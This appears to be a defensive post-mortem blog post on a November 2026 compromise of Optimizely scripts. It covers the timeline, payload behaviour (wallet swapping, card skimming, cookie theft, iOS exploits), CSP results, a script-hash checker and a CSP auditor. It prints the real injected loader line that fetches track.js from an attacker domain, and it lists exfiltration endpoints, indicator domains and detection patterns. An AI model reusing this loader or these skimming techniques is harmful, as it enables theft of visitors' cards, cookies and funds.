178 sites were poisoned: only 15 percent of CSP policies blocked the line that did it

At 04:21 UTC on 2026-11-16, the script the BBC loads from cdn.optimizely.com came back with a few extra lines compared to the previous day's snapshot. Same host. Same certificate. Same script tag on the page. The file grew by fewer than 300 bytes.

By 21:52 UTC that evening, Scott Helme of Report URI had fetched 1,611 Optimizely scripts and found 188 of them modified, belonging to 178 organisations: BBC, CNN, Fox News, Zoom, GitLab, Salesforce, Smartsheet, Bitly, HSBC, IKEA, Equifax, Ledger, Air France-KLM, Peacock. Optimizely's own www and login properties were on the list too. The real count is probably higher, since his sample covers only what was publicly reachable. Optimizely confirmed the incident on its status page at 01:02 UTC on 17 November, describing an unauthorised party exploiting a vulnerability in Web Experimentation.

This is worth a post-mortem not because it was large but because it put a risk that usually gets filed under marketing in front of the engineering team. None of those 178 organisations changed their own code. None shipped a release. None received a warning. Their visitors' browsers ran someone else's code anyway.

What happened, hour by hour

Time (UTC, 11-16)Event
04:21BBC's Optimizely script first seen loading webshell.lol
05:231688360.cc registered, certificate issued
08:281688360.cc/track.js first observed on a bbc.com page
11:20Zoom's script modified, per its Last-Modified header
13:43Card skimming module added to track.js
17:13 to 17:57Second iOS host added, exploit iframe pushed to iOS 18.6 and older
19:24 to 19:59Sweep of 1,611 scripts, 186 confirmed infected
20:40 to 21:52Cleanup, leaving one of 188 still serving
11-17 00:371688360.cc set to clientHold, stops resolving

The payload was rebuilt 26 times that day, each revision adding function and removing nothing. That cadence is itself intelligence: any script integrity check running on a weekly schedule had essentially no chance against this.

The entry point was a config field, not the CDN

The way Optimizely Web delivers code shaped the attack. Every customer loads a script from the CDN, of the form cdn.optimizely.com/js/6395285578973184.js. That file contains Optimizely's own runtime, the experiment configuration, and an optional field called projectJS, which holds custom JavaScript the customer writes in the dashboard and expects to run on every page.

The attacker edited that field. Everything else in the file stayed identical, and the file was still served from cdn.optimizely.com with Optimizely's certificate, from a host every affected site already trusted. This is not CDN cache poisoning. It is editing a customer-writable config field inside a trusted file.

The code injected into Zoom's script, in full, is one line of loader:

"projectJS": function(){(function(){try{var s=document.createElement('script');
s.src='https://1688360.cc/track.js';s.async=true;
(document.head||document.documentElement).appendChild(s);}catch(e){}})();

That loader has three variants: a plain script tag to the second stage; the same URL base64-encoded and decoded with atob() so that grepping for the domain finds nothing, which is how Smartsheet's script was re-infected after being cleaned; and a full inline copy of the payload that runs through eval if the remote host is blocked.

One more layer is easy to miss. Some customers serve the script from their own domain, such as opt.scheels.com/js/id.js, because the content comes from the same Optimizely project. Those were infected too. Checking only for the CDN hostname misses them.

How the attacker got write access is explicitly unknown. The report lists a compromised Optimizely system, a credential able to reach many customers' projects, or something else, and rules out CDN cache poisoning. That matters because it decides whether this is the vendor's hole or yours, and for 178 customers the answer was the vendor's.

What the payload did

Every visitor received the same track.js, with all modules active. Behaviour depended on the device and what the page was doing:

  • Wallet address substitution. It matched BTC, ETH and EVM chains, TRON, SOL, TON, LTC, BCH and DOGE addresses, validated the checksum, and replaced them with attacker addresses. The replacement surface covered page text, form fields, links and images, the clipboard on copy and through navigator.clipboard, outbound fetch and XHR, window.open, page navigation, and the iOS share sheet.
  • Card skimming. Added at 13:43, it listened for form submissions and every POST, captured card number with a Luhn check, expiry and CVV, and sent them to 1688360.cc/card.php through navigator.sendBeacon. Cards inside hosted payment iframes, meaning Stripe and Adyen, were unaffected. Cards in the site's own form fields were not.
  • Cookies and screenshots. When it substituted an address near wallet or payment text, it also sent the page URL, document.cookie for cookies without HttpOnly, the original address, and a full-page html2canvas render to 1688360.cc/hit.php.
  • iOS exploit chains. On iPhone and iPad it loaded boot.js from two .icu hosts and picked a chain by OS version: Coruna for 13 through 17, DarkSword for 18.x, fingerprinting only on 26. The Coruna loader is byte-identical to a sample analysed in a separate October campaign. The visible symptom on iOS 18.6 and older was the page reloading itself every 60 seconds, which was the exploit retrying.

By 19:25 UTC on the 16th the attacker wallets had taken in about 7,040 dollars: 0.083 BTC, 17.02 LTC, 662.9 USDT plus 184 TRX on TRON, 0.055 ETH and 82 USDT on BSC. The TRON wallet had been active since March 2026, so this infrastructure predates the campaign. Stolen cards, cookies and iOS access never appear on chain, which makes 7,000 dollars a floor rather than a measure of damage.

Why none of your scanners fired

Because from your site's point of view, this attack did not involve you.

Code scanning, SAST, SCA, WAF and deploy monitoring all inspect what you published to your own servers. A third-party script is fetched by the visitor's browser directly from the vendor, so a change to it bypasses every one of those controls. Nothing in your release pipeline compares the bytes at cdn.optimizely.com against anything, because that file is not in your repository.

The second reason is trust written into configuration. A site that loads a script from cdn.optimizely.com almost always lists that host in script-src, which permits every path on that host. The attacker did not need a new domain. He did not use one.

The third reason is time. With 26 rebuilds and the skimmer arriving at 13:43, any weekly hash comparison was likely to sample a clean version.

256 affected sites, 24 real blocks

Report URI sampled 256 affected sites for CSP effectiveness. The result is more useful than the incident itself:

OutcomeSitesDetail
No CSP at all68Payload runs
CSP allowed the payload and the exfiltration50The worst bucket: fully configured, entirely ineffective
Payload ran, connect-src blocked exfiltration17Cards stayed put, on-page address swapping still worked
Payload blocked24 (15 percent)The only bucket that counts as defended

The two directives that let the payload through happen to be the default posture of the tag manager ecosystem.

strict-dynamic trusts any script inserted by an already trusted script. Optimizely's snippet inserts track.js, and track.js inherits trust. The directive exists so bundlers do not have to maintain host allowlists. The trade is that the first script on your allowlist gets to decide what else loads.

unsafe-eval is required by Optimizely's own documentation. It lets the inline fallback copy execute. HSBC is the clean example: the policy blocked the loading of track.js and blocked exfiltration, but the inline copy still ran.

Adding cdn.optimizely.com to your allowlist does nothing on its own, because the malicious code came from that host. What works is a strict script-src with only the hosts you need, no strict-dynamic, no unsafe-eval, plus a narrow connect-src. Both together put you in that group of 24.

First runnable step: baseline the third-party scripts

Once you accept that the file is not in your repository, the first move is to put it there, at least as a hash. Record a baseline for every cross-origin script on the page and diff against it on a schedule. Standard library only, two subcommands, and check exits 1 on drift so it drops into CI or cron unchanged.

import hashlib, json, os, sys, urllib.request

SMELL = [b"atob(", b"eval(", b"sendBeacon", b".icu/", b".cc/"]

def script_srcs(html):
    out = []
    for chunk in html.split("script")[1:]:
        tag = chunk.split(">")[0]
        if "src=" in tag:
            raw = tag.split("src=")[1].strip()
            out.append(raw.split()[0].strip('"').strip(chr(39)))
    return out

def fetch(src, base):
    if src.startswith("http"):
        with urllib.request.urlopen(src, timeout=20) as r:
            return r.read()
    with open(os.path.join(base, src.lstrip("/")), "rb") as f:
        return f.read()

def scan(html_path):
    base = os.path.dirname(os.path.abspath(html_path))
    html = open(html_path, encoding="utf-8", errors="replace").read()
    result = {}
    for src in script_srcs(html):
        body = fetch(src, base)
        result[src] = {
            "sha256": hashlib.sha256(body).hexdigest(),
            "bytes": len(body),
            "smells": [s.decode() for s in SMELL if s in body],
        }
    return result

if __name__ == "__main__":
    cmd, html_path = sys.argv[1], sys.argv[2]
    lock_path = sys.argv[sys.argv.index("--lock") + 1]
    now = scan(html_path)
    if cmd == "snapshot":
        json.dump(now, open(lock_path, "w"), indent=2, sort_keys=True)
        print(f"locked {len(now)} script(s) -> {lock_path}")
        sys.exit(0)
    lock = json.load(open(lock_path))
    counts = {"OK": 0, "CHANGED": 0, "NEW": 0, "GONE": 0}
    print(f"{html_path}: {len(now)} script(s)")
    for src, info in sorted(now.items()):
        old = lock.get(src)
        state = "NEW" if old is None else ("CHANGED" if old["sha256"] != info["sha256"] else "OK")
        counts[state] += 1
        tail = f"  flags: {', '.join(info['smells'])}" if info["smells"] else ""
        print(f"  [{state:<7}] {src}  {info['bytes']:,}B  {info['sha256'][:12]}{tail}")
    for src in sorted(set(lock) - set(now)):
        counts["GONE"] += 1
        print(f"  [GONE   ] {src}")
    print("summary: " + " ".join(f"{k.lower()}={v}" for k, v in counts.items()))
    sys.exit(1 if counts["CHANGED"] + counts["NEW"] + counts["GONE"] else 0)

I ran it against a vendor script that differs by exactly one line before and after injection. The check output:

$ python script_lock.py snapshot index.html --lock scripts.lock.json
locked 2 script(s) -> scripts.lock.json

$ python script_lock.py check index.html --lock scripts.lock.json
index.html: 2 script(s)
  [OK     ] js/app.4f2a.js  80B  c51a7a5708ce
  [CHANGED] js/opt.js  240B  7c84155c59a7  flags: .cc/
summary: ok=1 changed=1 new=0 gone=0
$ echo $?
1

Note what it reports: CHANGED, and one flag for a .cc host. No verdict, no alert text. That is the right behaviour. It does not judge, it tells you this byte sequence was not this byte sequence yesterday. A human looks for five seconds. Run it every few minutes or on every deploy, not weekly, because a payload rebuilt 26 times will walk straight past a weekly sample.

Second step: find out what your CSP actually permits

Then audit the policy you already have. The snippet below reads three realistic policies and decides whether each one can stop a modified script on a trusted host. The output has two states, PAYLOAD RUNS or BLOCKED, with no middle ground, because the attacker does not offer one.

ALLOW_ALL = {"*", "http:", "https:", "data:", "blob:"}

def parse(policy):
    out = {}
    for part in policy.split(";"):
        part = part.strip()
        if not part:
            continue
        tok = part.split()
        out[tok[0].lower()] = [t.strip("'").lower() for t in tok[1:]]
    return out

def audit(policy):
    d = parse(policy) if policy else {}
    script = d.get("script-src") or d.get("default-src") or []
    connect = d.get("connect-src") or d.get("default-src") or []
    findings = []
    if not policy:
        findings.append(("critical", "no CSP, any origin can run scripts"))
    if "strict-dynamic" in script:
        findings.append(("critical", "script-src has strict-dynamic: scripts injected by the vendor are trusted"))
    if "unsafe-eval" in script:
        findings.append(("critical", "script-src has unsafe-eval: the inline eval fallback still runs"))
    if "unsafe-inline" in script:
        findings.append(("high", "script-src has unsafe-inline"))
    if ALLOW_ALL & set(script):
        findings.append(("high", "script-src uses a wildcard source"))
    if not connect:
        findings.append(("critical", "connect-src unset, data can leave to any host"))
    elif ALLOW_ALL & set(connect):
        findings.append(("high", "connect-src allows wildcards, exfiltration unfiltered"))
    vendor = [h.split("//")[-1] for h in script if "//" in h and "self" not in h]
    if vendor and "strict-dynamic" not in script:
        findings.append(("info", f"allowlisted hosts are permitted wholesale: {', '.join(vendor)}"))
    return not findings or all(f[0] == "info" for f in findings), findings

for name, policy in [
    ("A no CSP", ""),
    ("B typical tag manager policy",
     "default-src 'self'; script-src 'self' 'unsafe-eval' 'strict-dynamic' "
     "https://cdn.optimizely.com; connect-src 'self' https:;"),
    ("C strict script-src, narrow connect-src",
     "default-src 'self'; script-src 'self' https://cdn.optimizely.com; "
     "connect-src 'self' https://api.example.com; object-src 'none';"),
]:
    blocked, found = audit(policy)
    print(f"[{'BLOCKED' if blocked else 'PAYLOAD RUNS'}] {name}")
    for level, msg in found:
        print(f"    {level:<8} {msg}")
    print()
[PAYLOAD RUNS] A no CSP
    critical no CSP, any origin can run scripts
    critical connect-src unset, data can leave to any host

[PAYLOAD RUNS] B typical tag manager policy
    critical script-src has strict-dynamic: scripts injected by the vendor are trusted
    critical script-src has unsafe-eval: the inline eval fallback still runs
    high     connect-src allows wildcards, exfiltration unfiltered

[BLOCKED] C strict script-src, narrow connect-src
    info     allowlisted hosts are permitted wholesale: cdn.optimizely.com

Policy C is not perfect either. Allowing a host wholesale means any new path on cdn.optimizely.com is still permitted. That is the ceiling of allowlisting: it governs hosts, not content. Governing content leaves two options, SRI or self-hosting.

SRI does not apply here. The numeric segment in an Optimizely script URL is the customer ID, and the file's contents change with experiment configuration, so pinning a hash means randomly breaking live experiments. That is also why the tag manager ecosystem skips SRI across the board.

Self-hosting is different. This site moved every third-party library into a same-origin directory in 2026, and there is no cross-origin script tag on any page. That is not fastidiousness. It is the only defence in this incident that worked at 100 percent: no third-party script, no third-party script compromise. The cost is that you own the upgrade treadmill, and you cannot use tools like Optimizely that have to render on the vendor side.

If you think you were hit

  • Check every Optimizely project's Project JavaScript and every experiment's custom code for 1688360.cc, for atob(, and for any script tag you did not write. The base64 variant will not match on the domain, so search atob( too.
  • Treat any card entered into your own form fields on 16 November as compromised and notify accordingly. Cards inside hosted payment iframes were not affected, so the notification scope can be narrowed.
  • Rotate every session token and key that lived in a cookie without HttpOnly.
  • Audit write access to the Optimizely account: members, API tokens, third-party integrations. Verify each, then rotate.
  • Tell iPhone and iPad users to update to iOS 18.7.3 or later, or 26.3 or later. Anyone who made an on-chain transfer from an affected site between October and November should verify the destination address they actually paid.
  • Worth putting straight into firewall and DNS blocklists: 1688360.cc, webshell.lol, 5vobauua3ojpklx.icu, eil786npto9u5bq.icu, l7bcsnwc7nzr3uo.icu, linkforge.cc, ios-hack.icu. Code signatures to grep for: window._k7, window.__k7b, data-channel-code="02111110".

One uncomfortable closing note. Among those 178 organisations were 32 banks and 23 SaaS companies. None of them are short on security budget, and all of them run scanners, a WAF and a SOC. Fifteen percent got a real block. The reason is not complicated: those tools watch what you published, and this attack landed on what you trusted. The gap between the two is currently closed by comparing bytes on a schedule and by deleting trust you do not need. The first can be automated. The second requires someone willing to argue with marketing.

Further reading

Feedback

Diese Seite ist rein front-end: kein Backend, keine Konten. Feedback geht an GitHub Issues, Discussions oder E-Mail.

Füge dies in das Issue oder die E-Mail ein, um mir zu helfen, das Problem zu finden – es enthält nichts von dem, was du eingegeben hast

Auch:Vorhandenes Feedback ansehen · Feedback per E-Mail (ohne GitHub-Konto):278975598@qq.com